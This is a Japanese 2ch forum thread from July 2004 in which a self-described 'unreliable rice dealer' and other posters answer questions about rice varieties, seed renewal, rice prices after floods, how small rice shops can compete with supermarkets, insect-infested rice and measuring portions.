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お米屋だけど何でも質問に答えます11俵目

1 :頼りない米屋:04/07/06 16:58
お米屋だけど何でも質問に答えます11俵目
美味しい、不味い。
買い方、炊き方。
銘柄から良食味産地。
お米屋さんの裏話や疑問。
何でもお聞き下さい。
頼りない答えの場合は許してください。
同業者の方マッタリ助けるように。
第一章   http://food.2ch.net/test/read.cgi/food/1014544476/l50
おかわり!編http://food.2ch.net/test/read.cgi/food/1022118827/l50
秋の新米編 http://food3.2ch.net/test/read.cgi/food/1033173433/l50
第4章春編http://food3.2ch.net/test/read.cgi/food/1042349007/l50
「5杯目」http://food3.2ch.net/test/read.cgi/food/1049501173/l50
「6杯目」http://food3.2ch.net/test/read.cgi/food/1061599726/l50
「7杯目」http://food3.2ch.net/test/read.cgi/food/1065140534/l50
「8杯目」http://food3.2ch.net/test/read.cgi/food/1069809304/l50
「9杯目」http://food3.2ch.net/test/read.cgi/food/1075162771/l50#tag980
「10杯目」http://food6.2ch.net/test/read.cgi/food/1080692009/l50


2 :もぐもぐ名無しさん:04/07/06 17:12
2

3 :ただ今精米中 ◆hebglziyis :04/07/06 19:12
 とりあえず、3かな?

4 :もぐもぐ名無しさん:04/07/06 22:48
新すれ、おめでとうございます。
ふと疑問に思ったことがあるので、教えてください。
玄米を精米すると、胚芽とヌカが出来ますよね。
ヌカは売ってるけど、胚芽はどうなってしまうのですか。差し支えなければ教えてください。

5 :もぐもぐ名無しさん :04/07/06 22:50
強い子のミロになる。

6 :親鸞:04/07/07 07:36
黒米とか古代米の栄養は普通の白米と比べてどう違うんですか?

7 :頼りない米屋:04/07/07 08:56
>>4
通常は両方一緒に削る(精米)ので混ざってます。
>>6
基本的に黒・赤ですがそれぞれ栄養・効能は違います。
もちろん源品種ですから現代の米より数段上です。

8 :もぐもぐ名無しさん:04/07/07 15:56
黒米とか古代米を珍重する傾向にあるけど
品種改良の経過で黒米古代米の因子を取り除くのに
大変な苦労があったんだよね。

9 :もぐもぐ名無しさん:04/07/07 20:38
スーパーで2キロ1800円ぐらいの、少し高級なコシヒカリを買ったんですけど
米の粒が揃ってないし、研ぐ時に小さいなカスみたいなのがたくさんでるんですけど
これって品質はどうなんですかね?

10 :もぐもぐ名無しさん:04/07/07 22:49
>>7
ありがとうございます。ホントにミロになるかと、思ってました。
うちでは、家庭用遠心式精米機で精米し、フルイを使って胚芽を一緒に炊飯してました。
質問があったら、また来ます。



11 :頼りない米屋:04/07/08 09:07
>>9
「2キロ1800円」と高価な米の割には品質は悪いですよね。
でも「スーパー」だからねぇ・・。良し悪しがあるが。


12 :どうでもいい話ですが:04/07/10 01:50
古代米のひとつに赤米ってあるけど、日本に最初に入ってきた米(稲の品種)は
赤米だったって何かで読みました。

お祝い事に赤飯を炊くのはそのなごりだとか云々。
本当かしらんね。

13 :もぐもぐ名無しさん:04/07/10 08:55
現在の米は野生のイネに改良に改良を重ねた物だよ。
赤いのもあったろうし黒いのもあったろう。

種籾はみんな毎年買うのかな。
二年目は使えるけど三年目は使えないとどこかで聞いた。

14 :頼りない米屋:04/07/10 09:03
前スレ>>991
投げた損失は50万位かな。
自分で潰した分も入れると100万位かなぁ。
>>12
おっしゃる通りですよ。

15 :頼りない米屋:04/07/10 10:29
>>13
基本は種籾は毎年新規購入が基本です。
でないと本来の味は出ないと言われます。
ケチって前年の自家栽培を使うと年数を重ねるごとに「味ボケ」します。
おっしゃる「2年目は使えるが」てのは気が付かない程の落差だからです。
結構農家に聞くと「ヤッテル」人が多いですね。
検査引っ掛からないし、コスト安いし・・・。


16 :12:04/07/10 11:50
レスどうもサンクスです。

種籾。
うちの方じゃ兼業農家が多いせいか、JAで育成した苗を買う人が多いですね。
田植え機用のパット(あれってなんて言うんだろ?)に入ったものです。

値段とか面積あたりの必要枚数とかも教えてもらったけど、忘れてしまいました。

17 :もぐもぐ名無しさん:04/07/10 17:51
>前年の自家栽培を使うと年数を重ねるごとに「味ボケ」します。
別な品種とまざって雑種になるから?
それともなにかのかけ合わせで品種として安定してないってこと?

ところで、黒米,赤米って呼ぶなら、今の米って茶米とでも呼ぶべきでは(w


18 :頼りない米屋:04/07/10 18:56
>>17
詳しくないけど、たぶん連作障害。

19 :頼りない米屋:04/07/10 18:59
今の品種は準自然交配だから先祖帰りかもしれない。

20 :もぐもぐ名無しさん:04/07/10 21:21
種籾一例
http://www.shonaimai.or.jp/situmon/idv/s16_11.html
水稲には連作障害がありません。
http://www.nougyou-shimbun.ne.jp/special/sp_01/

21 :もぐもぐ名無しさん:04/07/10 23:43
米はよくわかんないけど、他の野菜だとF1品種(雑種第一代)が全盛でしょ。
だから自分のところで作った野菜から種とっても同じものできないわけで。



22 :もぐもぐ名無しさん:04/07/11 02:24
>>21
多分、稲はそこまでいっていないと思うよ。
一般の野菜と比べて必要とされる種の量が半端じゃないもん。

23 :名無しさん@そうだ選挙に行こう:04/07/11 07:42
>>16
こちらでも苗はJAで購入します
苗箱1つが¥500程度で
田んぼ1反に22〜25枚程度使う計算です

苗箱のサイズが田植え機の苗をセットするコースのサイズになっています


24 :頼りない米屋:04/07/11 09:18
えっとですね、厳密な理由は知りませんが
結果的に、知り合いの銘産地・上手と言われる農家は
1)種子は必ず毎年更新する。
2)3〜4年同じ品種を作ったら1年違う品種を作る
  つまり稲作内輪作をする。
これ、結構やってますよ。
理由は味ボケだが、それが連作障害なのか種子の先祖帰りなのかは知りません。
たぶん両方じゃないかな。
稲は基本的に輪作OKと言われていますが稲作現場では「ある」と言う声もあります。

25 :頼りない米屋:04/07/11 09:26
>>21
>>22さんが言うように稲に関しては、そこまで行ってないです。
自然交配種・自然交配内突然変異種・コバルト照射等突然変異誘発種
までだったような・・・あまり詳しくありません。

26 :名無しさん@そうだ選挙に行こう:04/07/11 09:35
野菜のF1種は毎年買わせる種屋の陰謀。
長ネギの有名産地ではネギの種は自家採取に限るという農家もある。



27 :名無しさん@そうだ選挙に行こう:04/07/11 10:19
>>26
伝統的な品種・種類の野菜は自家採取の種がいまだに多いようですね。
遺伝子の使いまわしというか、維持というか。

でもF1でなければ駄目な野菜で、かつ、そうじゃないと売れ筋にならないものは
どうしようもない。種家の陰謀というより、種家の努力の結実なんだろうな。


スレ違いすんません

28 :頼りない米屋:04/07/11 11:15
えっとですね。あまり詳しくないですが
米の場合、たしか数年前まで
種子更新不可能なDNAいじる1代品種の開発及び輸入は禁止だったはず。
おろか民間の開発さえ禁止だったはず。
いまは民間はOKだがDNAまではどうだったかなぁ
国内に限ってOKになったような・・・・。
だが今ちまたで人気銘柄こし・こまち・ひとめ・ミルキーなどは
総て以前からの農水省の開発銘柄。
キリンビールとか日本たばこが開発を手掛けているが
腎臓病や糖尿病やアレルギーなど患者を対象とした特殊な銘柄で
広く民間に人気の出る銘柄を開発したなんて話は今の所無いと思うよ。

>種家の陰謀というより、種家の努力の結実なんだろうな
これ別スレだろうが、私はアメリカ種子メーカーの戦略・陰謀説に賛成なのね。
だから米を許したら大変な事になると思うのね。
せめて国産(前述キリン・JTなど)なら内需だから、しょうがないが。



29 :名無しさん@そうだ選挙に行こう:04/07/11 13:53
産地精米あきたこまちが10kg4480円になった。
買わずに千葉こしひかり5kg1980円買った。
あと二ヶ月で新米食える。
いつもは千葉ふさおとめから食い始めるのだが
去年は新米がなかなか出てこなかった。
富山こしひかりは2480円になった。価格は税込み。

30 :もぐもぐ名無しさん:04/07/11 21:05
田んぼは追い肥の季節
程良く黄ばんで追肥を待っている。

31 :もぐもぐ名無しさん:04/07/11 22:35
>>30
> 田んぼは追い肥の季節
> 程良く黄ばんで追肥を待っている。

この時期の田んぼのどこが黄ばむのですか?
それに追肥って、どの地方なんですか?

32 :もぐもぐ名無しさん:04/07/11 22:51
関東南部
濃い青から黄緑方向に葉の色が変わる。
苗を飢餓状態に置いて追肥をぶつと一気に吸収して
強い稲株になる。
管理の良い田んぼは見ていて綺麗だよ。
駄犬の散歩コースは農道。

33 :夜ナニー:04/07/12 16:57
>>31
追肥とは地名ではなく、今の季節に施す肥やしのことです。
追加の肥料ってワケなんですが、言われてみれば地名にありそうですね。


34 :もぐもぐ名無しさん:04/07/12 17:59
スーパーなどに負けずに米屋としてやっていくには
どうしたらいいですかね?厳しいです。

35 :頼りない米屋:04/07/13 09:25
>>34
最大の解決策は廃業して就職を探すか転業する事でしょ、いや真面目な話。

米屋全体が抱える問題の解決策をここで解決できないんじゃない?
ヒントはあるかもしれないから全部読んでみたらいかがでしょう。
早いのは経営コンサルタントだろうが、解決策を明示出切るのかな。
差別化・専門店化・業務用特化から有機・無洗米・トレイサビリティなどなど
言い尽くされてるからねぇ・・・


36 :34:04/07/13 11:19
>>35  そうですか…いろいろやってはみたんですが
もう無理っぽいですね。コンビニ化のはなしがないこともないんで
考えてみます。ありがとうございました。

37 :もぐもぐ名無しさん:04/07/13 15:40
消費者からの横レスですが。
町の米屋さんて我々から見ても厳しいでしょうね。私は商店街の近くに住んでいるんで
米はその商店街のミニ食品スーパーでしか買っていません。近所には米専業の店は
ありません(豆を主とした雑穀屋はありますが)。チャリで出かけた時など米屋さんも時々
見かける程度。昔々(配給制度のあった時代)から比べると激減したような。小規模専業
ではもう成り立たないご時世なんでしょうね。


38 :資金が底ついた米屋だった:04/07/13 16:23
>34
セールス行ってる?
チラシ撒いてるだけじゃない?
それとも、電話を待ってたり?
頑張れば生き残っていけるよ、この商売は!!!


39 :もぐもぐ名無しさん:04/07/13 20:02
>>34
ある程度の地域の全家庭を訪問してアンケートしてはいかが?
高くても美味しい御飯を食べたい家もあれば
そこそこの味で安い御飯の家もあるでしょう
第一歩はその嗜好を把握する…コミュニケーションが重要です

扱い品目を何種類かに絞り、
その家へ価格と量を提案する
一番のメリットは「時間帯を把握した配達」にしてはいかがでしょうか

いわゆる「お得意さん」を確保するのです
その地域のお得意さんが少なければ、地域を拡大していきましょう

・特に女性は家までの配達を歓迎する
・在宅時に配達は、メールで相互連絡するのがよい


40 :もぐもぐ名無しさん :04/07/13 21:14
つうか、ココの過去レスにも十分ヒントはあると思うけど…。
「スーパー、ディスカウント店の安い米」をライバルにしてるだけじゃ
生き残れ無さそう。
「安い」だけで言うのなら近所のホムセンに2kg698円のコメあったし。
(美味しくないけど)
>35 >37 >38 >39 は、魅力的な米屋にする為のヒントを
含むと思うが。

41 :もぐもぐ名無しさん:04/07/13 21:48
>最大の解決策は廃業して就職を探すか転業する事でしょ、いや真面目な話。

34さんの返事にはなっていません
彼・彼女は 米屋としてやっていくことを聞いておられるのです
廃業・転業は念頭にないと思います

>経営コンサルタント

ためしに経営コンサルタントに権利譲渡してみれば・・・
むかし、経営の神様って言われた 求永漢(字の間違いは許してください)が、
会社を作って、2年も持たずに倒産されたような記憶があります

>37
米専門店でお米を買ったことのないような方に言われたくありません
専門店で買っていて、最近の米屋はなら・・・

>39
・特に女性は家までの配達を歓迎する

台所を見られたくない女性多いですよ
実際の台所だけじゃなく、懐具合も・・・
普段えらそうなことを言っているのに、あんな安い米を・・・
PTAしてみればわかります

・在宅時に配達は、メールで相互連絡するのがよい
すべての方が、メールしているとは限りません
日本の人口で言えば、メールしておられない方のほうが多いかと・・・

42 :もぐもぐ名無しさん:04/07/13 22:06
今回の中越地方の集中豪雨は米の値段に何らかの影響を与えますか?

43 :頼りない米屋:04/07/14 08:57
>>42
新米価格には全く影響ありません。
ただし今回被害にあった地域を詳しく把握し仕入れスルーを
ちょっと気の利いた米屋なら考えてるでしょうね。

新潟は被災地には悪いが正直場所が場所だから米屋的にはホッとしてます。
福島も被害があったと聞いて場所の把握を急いでます。

>>41
煽りっぽく見えるから一応御注進申し上げます。

44 :田舎の米小売り:04/07/14 10:27
新潟や福島はもうちょっと落ち着いてから確認をしてみようかな、と思ってます。
さっき米とは別件で新潟の方にTELしたらまだまだ混乱してましたので。

>>34
結構レスついてるようですけど、私なりの私見を。
スーパーに負けないって言うのは正直難しいです。
スーパーでは特売もやってますが、普段でも米を客寄せに使うために粗利を低くしてある場合もあります。
(他の物も買ってもらうことで利益を出すってやつですね)
さらに、店によって買い物ポイントがついたりもしますし。

で、米屋としてはどうするか。
>>41で否定的な意見が出てましたが、
実際米は重い商品ですので家までの配達というのは結構大事なポイントです。
それぞれのご家庭に時間の都合もあるので、時間指定配達が出来ると喜ばれます。
個人のお客様の場合、共働きの家庭も多いので意外と遅い時間に配達できると喜ばれますね。
お米の種類としては、廉価な商品はスーパーに任せ(それでも1〜2種は必要ですが)、
付加価値商品(ブランド米やJAS有機もの)を全面に押し出してみてはどうでしょうか?
お取り寄せ感覚で良い商品を求めるお客様も結構いらっしゃいますよ。
そのほか、押しつけにならない範囲での米屋ならではの情報提供、公開も重要になります。

まだまだあるのですが仕事が入ってるんで後ほど。

45 :もぐもぐ名無しさん:04/07/14 10:47
>>34
スーパーと同じ土俵に上がるな。
スーパーにとって米は卵と同じ客引きアイテムのひとつに過ぎん。
小口量り売り、玄米売り、有機とかスーパーには出来ないことをしなきゃ。
大事なのが知識。客に質問されてもちゃんと答えられること、アドバイスでき
ること。これはスーパーのバイトねーちゃんには逆立ちしても出来ない。
常連さんを作る。彼らにはときどき大きなサービス(大幅値引きや巨大景品)を。
そのうち新たな客を連れてくる。その人たちにも同様のサービスを。それがまた
新たな客を・・・
それと一般的に米屋のイメージは暗い。店は明るくオープンに。
スズノブがいい例だね。店構えは決してキレイじゃないが知識と行動力があれ
だけメジャーにさせている。


46 :もぐもぐ名無しさん:04/07/14 10:50
>>43
>>41さんのレスは
ロムしている者の感想ですが、批判的な御意見だと思いますが
煽りとは思いませんよ。

47 :もぐもぐ名無しさん:04/07/14 10:51
>>お米の種類としては、廉価な商品はスーパーに任せ

もっと廉価な商品を置く。
中米とか小米とか。
もちろんPOPにはその旨をちゃんと書いて。
未知なる客層が増えるぞ。

48 :頼りない米屋:04/07/14 11:26
>>46
はい、早とちりでした。誠に申し訳ありませんでした。

49 :頼りない米屋:04/07/14 11:27
活発になりましたねぇ。良いですねぇ。
どんどん自分なりの意見が出てますね。

その間休憩します。

50 :もぐもぐ名無しさん:04/07/14 19:00
石川のこしひかり5K1980
スーパーで買ったんだが、炊くとどうも甘味が少ない
前はあきたこまちの同程度の値段のをかってたんですが、
こしひかりって甘味すくないのかな?<この2種だと

51 :もぐもぐ名無しさん:04/07/14 19:06
秋田小町もたしか5Kで1980
電気釜で炊いているので、その辺は割り引かないとだけれども
この辺りの価格帯のオススメってなると、どうなんでしょ

52 :もぐもぐ名無しさん:04/07/14 20:20
>>46
>41が煽りじゃなかったら何が煽りだと思ったりもしますが(ご本人だったらごめんなさい)。
他人の意見に否定的なレスを入れるだけだったら誰でもできる(いま私もしてますが)。

煽るつもりもなくて地のままの意見だったら、>41は悲しい人という結論で失礼します。
ではごめんください。

53 :もぐもぐ名無しさん:04/07/14 21:05
41です
46さんは別人で関係ありません

煽りというのは
>49 :頼りない米屋
その間休憩します。
に対して、一生休憩していればのようなカキコだと思います

わたしは、廃業、転職せずにとご相談されてる方に、廃業が一番と答えるのが気になるのです

経営コンサルタントも同じです
事実を述べただけです
学問・知識上だけの経営論を展開されます
理想論・机上の空論です
コンサルタントにこの店あなたに任せますから、必ず儲かる店にしてくださいって言ってごらん

>37さんには、言葉が過ぎたかわかりません
あやまります

>39
昔からの米屋のスタイル(配達)を、否定していません
わたしも、配達できる、台所の中まで入っていける事はすばらしいことだと思っています
でも、Pの役員とか地域の役員をされるとわかると思います
離れるお客様が居られます

メールについては、別にメールでなくても注文を受けたときに何時ごろお伺いいたしましょうでいいと思ったもので・・・
申し訳ございません
言葉足らずのために、46さんにはご迷惑をおかけいたしました


54 :もぐもぐ名無しさん:04/07/14 21:55
>>35にすべてがあるよ。
単なる個人消費者相手の米屋では生き残れない。
ローンで買った高級車を見せびらかしながら
スーパーとかショッピングセンタに買い物に行く時代だよ。
米の重さなど関係ない。
米とはいえ(ついでに買う)買い回り商品になってしまった。
客寄せで週末に二割引で売られたら
米屋さんの立つ瀬はないよ。

55 :もぐもぐ名無しさん:04/07/14 22:24
お米に虫がたかってしまいました・・・
卵も生んでしまって、幼虫も見えます。これはもう捨てた方がいいんかな?
米の量がまだ結構あるので、捨てたくないんだけど(T−T)
衛生的に綺麗にして、も1度美味しく食べれる方法があれば教えて助けて〜

害虫を調べてみたところ、ノシメマダラメイガっぽい。


56 :もぐもぐ名無しさん :04/07/14 23:11
>>55 本気だったらすごい人だな 漏れだったら
気持ち悪くてくえん  
しかし以外に伸びてきたねこのスレ

57 :もぐもぐ名無しさん:04/07/14 23:14
>>55 むかしからよく米にたかる穀ぞう虫で害はないから
虫とってよくあらえば平気だよ!


58 :田舎の米小売り:04/07/14 23:47
さて、>>44の続き、というか別の手段。
個人客はある程度来ればいいと考え、飲食店狙いにシフトする。
実際こちらのほうが配達の需要も大きいし、
値段だけにとらわれない(味が二の次では立ち行かなくなる)お客さんを狙えます。
ただしその分味の平均化等、要求水準は厳しくなりますけどね。

>>53
建設的な意見が何もないのでは如何なものか?と思ってしまいます。
誰かの意見を否定するだけならば簡単ですよ。

>>55
味は落ちてしまいますが、念入りに洗米して熱湯に数秒くぐらせる方法もあります。
そしていっぺんに炊き、冷凍してしまうのがよいかと。
気にかかる場合は無理せずに廃棄するのも必要なことですけどね。


現在、高齢化もあり個人客で配達を求める需要は確実に存在していると考えています。
要は立ち回り方なんですよね。
今もどうするのがよいのか模索の日々です。

59 :もぐもぐ名無しさん:04/07/15 00:37
>>55
コクゾウなどと同じく、新聞紙に米を広げて
日の当たるところに放置しる。米びつは丁寧に洗ってね。
で、十分に乾燥させてから使うこと。

それでもダメなら、ここを見るか、直接相談するも良し。
ここの質問箱Q&Aの農産物のとこに米のコーナーがある。
ttp://www.afftis.or.jp/QandA/index.html

60 :55:04/07/15 01:25
本気なんすよw
「気持ち悪りぃ」のと「食べ物を捨てるのは勿体無ねぇ」が頭の中で格闘してたのや(><)

親切に教えて下さいまして、ありがとうございました。
熱湯でよく洗浄して、かつ新聞紙で米を広げて天火干しにしようと思います。
助かりました。感謝です!

61 :もぐもぐ名無しさん:04/07/15 02:39
うちのじいちゃんは虫もろくに取らずに炊いて食べてたな〜
ばあちゃんは気持ち悪いと手を付けずもうカンカンだったw

62 :もぐもぐ名無しさん:04/07/15 08:04
>>60
米を食っている虫は無害。
水で良く洗い流そう。
天日に干すのは良くない。陰干しにすべし。
虫は家庭のレベルでは徹底的な掃除でいなくなる。
うちの場合は計量米びつの裏に巣があった。
カビていたら迷い無く捨てよう。

63 :60:04/07/15 09:15
>>62
うわ。そーなんすか!
水洗い&日陰干しで、がんばってみるよ!
ありがとう!
あきらめも必要だよな〜wあまりひどいようだったら捨てるよ。

64 :頼りない米屋:04/07/15 10:53
活発な意見が出ましたね。
>スーパーなどに負けずに米屋としてやっていくには
>どうしたらいいですかね?厳しいです。
>いろいろやってはみたんですが もう無理っぽいですね。
私の昨日の紋切り型回答についてご説明します。

1)非常に切迫している質問かもしれないが非常に漠然としているとも言える質問
通常結構丁寧に回答しているつもりですが、昨日は酷暑と新規取引・売掛未回収等で
かなり追い込まれ、紋切り型回答になってしまったと反省しています。

2)私もここ15年間、売上が半分になったり倍増したり、給料を従業員に払うと
私の給料が出ず、2年間貯金を崩して給料(生活費)にあてたり結構苦労もしました。
つまりね以前から言ってますが、今現在の不況と、長く続く「米業界の構造的不況」を
考えると「米屋は町に1軒あれば良い、逆に1軒しか生き残れない」と言えます。
これをどう考えるかでしょうね。
私はあの質問に特効薬的な回答は無いと思います。1つ1つの戦略を充分吟味し
あとはもう毎日汗をかくしかないと思います。もう一度言うと「戦略を吟味」です。
その前提に必死な毎日。

3)その上において「この業界で、もがくか?転業するか?」も視野に入れるべき。
結局「米屋好きか?嫌いか?」なんて自問自答も必要でしょ。

4)もう一度言うと過去スレ読んだ方が良いよ。私以外も結構面白い事言ってる人
一杯居ますからね。キーワードは「特化、専門店化、業務用、独自商品、戦略」です。

私は、今は順調です、が来年は分かりません。この商売結構好きです。
一方で私はショウバイ人って言葉が好きです。
「頑固に一徹に職人的に」ってのは実は嫌いです。
が、その路線がここ15年のイメージ戦略です。

あとはお任せします。皆さんの回答は非常に丁寧親切で興味深く読みました。


65 :もぐもぐ名無しさん:04/07/15 10:58
経済的、精神的余裕があるなら、あやまらなくてもいい。

66 :もぐもぐ名無しさん:04/07/15 12:51
>>63
おーい!
良く洗い流すのは食べる(炊く)前だよ。
米の中の虫を追い出すには日陰に広げるんだよ。


67 :59:04/07/15 20:37
直射日光はダメなんですね^^; すみません。
上で紹介したとこ(社)農林水産技術情報協会では
直射日光にあてるって書いてあったもんで。
で、干した後に冷凍庫に2〜3日入れておけば
完全に殺せるとも書いてありました。
この2段構えなら、>>63も安心して食えるんじゃない?

68 :もぐもぐ名無しさん:04/07/16 01:33
秋田の水害、どのぐらいの影響が出そうですか?

69 :頼りない米屋:04/07/16 09:22
硬質米地域に高温障害の予感

70 :もぐもぐ名無しさん:04/07/16 13:57
>>59のサイトの解説・・・

>晴れた日に新聞紙などの上に米を広げ、直射日光で丸1日かけてよく干します。
>こうすれば残った小さい幼虫も防除できます。
>また、米を袋に入れて、2〜3日冷凍庫(冷蔵庫でなく)に入れておいても完
>全に殺せます。

こんな事ほんとにやったら虫はいなくなるが、米は乾燥しきってボロボロ、
粉々になってもはやご飯にすることは出来ず、お粥かダンゴにするしか・・・
さすが『製粉会館』に居を構えるだけのことはあるな(w




71 :もぐもぐ名無しさん:04/07/16 21:43
>>70
>米は乾燥しきってボロボロ、
粉々になってもはやご飯にすることは出来ず、お粥かダンゴにするしか・

それは大袈裟だろうよ w


72 :もぐもぐ名無しさん:04/07/16 22:22
だから安全な虫なのだよ 小生が小さい頃は虫なんて
いてあたりまえだったけれど平気だった

73 :もぐもぐ名無しさん:04/07/16 22:24
>>72
ま、それはそうなんだろうが、あえて虫を食べたいとは思わない。
神経質になりすぎる必要はないだろうがね。

74 :もぐもぐ名無しさん:04/07/17 01:42
>>34 スーパーと同じような商法をしても効果は少ない。

1、セールは地域メジャー情報誌等にも載せてみる
2、農協直売所式商法+α
3、色々な情報を活かすこと
4、趣味の良い米屋内装、または趣味良くて思わず人の気をそそる外装と店内に入らずとも商品価格
が見える
5、チラシをつくるなら産地銘柄価格にコメントをつける。各新聞折込チラシ束の上側。
価格に変化をつける。
ワースト、古き暖かな許さればセールス



75 :もぐもぐ名無しさん:04/07/17 05:14
無洗米を浸漬時間置かずに
炊飯器で早炊きって良くないんですか?
実は何回かやってるけど
質感がベタベタせず、カレーによく合うんですが

76 :もぐもぐ名無しさん:04/07/17 06:11
>68 秋田の水害、どのぐらいの影響が出そうですか?

新潟・福島以外にも秋田まで・・・
報道されていませんけど・・・


77 :もぐもぐ名無しさん:04/07/17 08:40
>>75
前スレに、
速炊きの方がかえって結果が良かった 
ほどの意味合いの(頼りない米屋さんの)レスがあったよ。
米の飯はカレーの味を引き立てるんだよね。
寿司も同じだけどね。

78 :頼りない米屋:04/07/17 10:19
今回の水害は気の毒でした。明日も新潟は危ないって話もありますよね。
米で言えば、稲ごと流されれば当然収穫は無し。
2〜3日の水没後、水が引けば一応育つ。買いたくは無いが。
それ以上だと程度の大小で収穫は大幅減・無し。
今の所、小千谷・栃尾の良質米地帯が痛いが魚沼じゃないから、まぁねぇ。
福島・秋田もそこそこの被害があったらしい(TEL確認)
が、聞いた相手が現場から離れているので(大潟・中通)確証は無し。
ただ、直接減産に影響するほどでは無いとの見方です。

それよりも今年は、味は未確定だが生産量は豊作型でほぼ確定。
とすると、15年産までの流通在庫100万トン+今年の生産量で
新米価格は新潟以外はガタガタに落ちると予測。
新米平均価格8月16000円 9月15000円も確定。
問題は9月末に青森・北海道が出てきたら急落。
全国の晩成が出る10月には12000円と言われている。
これが裾物価格なのか平均価格なのかが、今現在の業界内予測の分かれる所。
ま、裾ってのがおおかたの予測。

と言う事は今流通(在庫)している米は総て大赤字拡大。
川下の我々小売店は関係無いなんて言えないでしょ。
8月・9月の新米仕入れは慎重に。週ごと落ちるから。例年の8月だけじゃない。
特に早生系統の農家買い上げは付き合いで全量買い上げの場合、大赤字必至。
逃げる所(特売?中間業者流し?)を考えておかないとね。
どちらにせよ在庫を多少持つのは10月末から!がお約束でしょう。




79 :頼りない米屋:04/07/17 11:01
もう少し情報をしゃべっちゃいましょう。

1)今年の業務用米の狙い目は主原料15年産こしひかり。関東福島を中心に各県産を。
10月中旬まで使えるはず。どうせ業務用は新米移行が遅いんだから。
今は低価格品(8・9年か15年裾あたり?)とのブレンドで良いし
9月末からの新米裾と合わせれば楽勝なアイテムでしょ?
逆に早めに新米未検査こし+政府米古米投げ物って手もあるしね。

2)新潟は今の水準から下がらないかも。これは後述調整保管+JASの絡み。
プラス今の水害を理由に嘘の情報流しで価格維持を新潟が狙うだろう。

3)今年は店頭価格は下げ必至。新米100%整粒で10kg2880円(税込)以下は確定。
あとは国が無くなった8〜15年備蓄米を16年産米で何十万トン調整保管するかが
相場の維持?だろうね。かなりやってくるだろうけど、今苦しんでいる100万トンの
流通在庫古米がある以上、価格抵抗力は非常に難しく、年末まで新米12000円を
維持できるか?が興味のある所。
異常な高値の在庫を持っている卸・小売は今が逃げる最後のチャンス?寒い?(w

80 :もぐもぐ名無しさん:04/07/17 12:32
恐れ多くも質問いたします。
米1.5合丁度を計る良い方法はありますでしょうか。
いつも1合カップと半分という計り方をしてますが、
一定にすることが出来ず、炊くたびに炊き上がりが違ったりしています。

1.5合計量カップが無いものかと探しているのですが発見できません。

81 :もぐもぐ名無しさん:04/07/17 13:01
3合炊くのはどう?

82 :頼りない米屋:04/07/17 13:03
>>80
自分の家庭の中で都合良く1.5合に測れる物を捜すしかないでしょう。

83 :頼りない米屋:04/07/17 13:17
>>80
300ccの計量カップを買ってきて計れば?
普通の1合カップでそんなにばらつき出るって事は
計り方が雑としか言いようが無いんですけども。

ちゃんとすりきりにして計ってるのかな。
洗った後炊飯器に水入れるときも水平取ってやれてないとか
新米と古米を同じ水の量で炊いてるとか。

色々原因あると思いますよ。

84 :もぐもぐ名無しさん:04/07/17 13:18
83のHNは間違いです。スマソ

85 :もぐもぐ名無しさん:04/07/17 13:40
プリンの容器使ってるよ。うちでは。
プリンカップで1杯を磨いでから、プリンカップ1杯の水。
たまに、マグカップでもやりまつ。
炊飯器に水のラインあるが、あれは使ったことないな。

86 :もぐもぐ名無しさん:04/07/17 13:46
昔、二期作なるものを聞いた事があるんだけど
今はもうやってないの?
そろそろ新米が出始めると思うんですけど
(あったとしても高いだろうから買わないが)

87 :頼りない米屋:04/07/17 14:56
>>86
今、本土ではやってないでしょ。
あるとしたら種子島とか沖縄だろうね。
今は、やってないと思ったけど。

88 :もぐもぐ名無しさん:04/07/17 15:14
沖縄はひとめぼれの単期作にシフトしてますね。

入荷したけどほとんど売れない(:-<)


89 :もぐもぐ名無しさん:04/07/17 15:23
>>80
百円ショップで普通の計量カップを買ってきて、270cc計量すればいいです。


90 :頼りない米屋:04/07/17 15:48
>>88
皆財布の紐が固いね(w
うちは来週着鹿児島こし17400はスルー。
8月の16000円も、どうしようか迷ってます。
毎年8月限定・鹿児島こしの無農薬天皇献上米も今年はスルー。
1〜2俵だけ買って遅いお中元にばら撒いて終わりにしようかと。
お盆明けの千葉から一般販売開始にしようかな。今年は。

91 :もぐもぐ名無しさん:04/07/17 16:01
零細消費者
今年は5kgほどしか買い置きが無くて良い感じ。
これからも食べるだけ買いに徹します。
千葉ふさおとめ
いつ頃出てくるかな。
去年は恥ずかしがったのか、あまり姿を見せなかった。

92 :頼りない米屋:04/07/17 16:37
>>91
このまま順調に行けばお盆明け即入荷〜販売開始でしょ。20日かな。

93 :83:04/07/17 17:14
いろいろなアドバイスありがとうございます。
考え抜いた結果、とりあえず3合炊くことをしてみます。
1合カップしかないので、0.5合が上手く計れないのがすごくもどかしいです。

>>83
300ccですか。探してみます。

94 :80:04/07/17 17:14
↑間違えた。80です

95 :もぐもぐ名無しさん:04/07/17 19:40
>>93
計量カップにこだわらないで一回で希望量を計れる適当な容器を探そう。
プリンの空きカップとかマグカップとか
米と水は升目で同量が基本。米一杯水一杯。
誤差が少なくなる。
というのが皆さんのアドバイスかと思われ。
一合カップで三合計る。誤差の生じる機会が三回。
三合容器で一回計る。誤差の生じる機会は一回。

96 :もぐもぐ名無しさん:04/07/17 20:57
>>80
台所用のハカリないの?
あったら・・・
1合分の重さを量る。それの1.5倍の重さを量る。
これでOK。


97 :もぐもぐ名無しさん:04/07/17 21:35
>>93
100円ショップで1.5合以上の「器」を買ってくる
(ビールジョッキなんかどう?)
今持っている1合カップで1.5合分入れて、マジックインキで線を引いておけば
次回からその線まで入れればいいじゃないか

98 :もぐもぐ名無しさん:04/07/18 02:11
まあ、なんすな。
ここは台所用品を触った事のない人ばかりが書いてるわけかい。
料理したことがないのか?飯を半合炊いたことがないのか?
そりゃどうでもいいことですが・・・。
スーパーで軽量カップのセットを普通に売ってるから、それを買えばいいじゃん。
数百円で手に入ります。
さすがに1.5合のカップはないけど、1合と0.5合のカップを組み合わせればいいだけだ。
こんな場所できくよりも、台所用品の売り場をようく見ろ!
ハカリもマジックインキ(古い表現だな)もマグカップも不要だ!
まったくもう・・・・・・・・・

99 :ただ今精米中 ◆hebglziyis :04/07/18 02:37
 ウチも今週は仕入れ手控えて在庫整理。
政府米古米は11年産福島初星だけに絞り
15年産自主米は栃木コシ、茨城コシ、千葉こまち、滋賀ゆめおうみを業務用でスポット仕入れしてます。

早いよね、来月には新米。

100 :もぐもぐ名無しさん:04/07/18 02:37
1・計量カップで量って、270ccの水をペットボトルに入れる。ペットボトルは500ccの物がいいと思う。
2・水が入ったところまで目印を付け、ペットボトルを切る。

これで擦り切り1合半の計量カップの出来上がり。


101 :もぐもぐ名無しさん:04/07/18 02:48
>>98
